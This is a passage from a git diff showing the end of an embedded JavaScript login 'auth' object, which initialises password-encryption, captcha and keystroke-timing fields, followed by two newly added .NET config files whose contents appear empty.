this.UIEvents(); + }, + + /**/ + init: function(callback) { + this.passwordEncrypt = null; + this.publicKey = null; + this.captChaCodeUrl = null; + this.token = null; + + this.mobileInputEditStartTime = """"; + this.mobileInputEditFinishTime = """"; + this.mobileInputKeyboardEvent = """"; + this.mobileInputKeyboardEventList = []; + this.passwordInputEditStartTime = """"; + this.passwordInputEditFinishTime = """"; + this.passwordInputKeyboardEvent = """"; + this.passwordInputKeyboardEventList = []; + this.captureInputEditStartTime = """"; + this.captureInputEditFinishTime = """"; + this.captureInputKeyboardEvent = """"; + this.captureInputKeyboardEventList = []; + this.loginButtonTouchPoint = """"; + this.loginButtonClickTime = """"; + this.__callback = callback || null; + + this.getPublicKey(); + } +};auth.init();"; + + } +} diff --git a/Work/app.config b/Work/app.config new file mode 100644 index 0000000..a371a00 --- /dev/null +++ b/Work/app.config @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/Work/packages.config b/Work/packages.config new file mode 100644 index 0000000..9409004 --- /dev/null +++ b/Work/packages.config @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file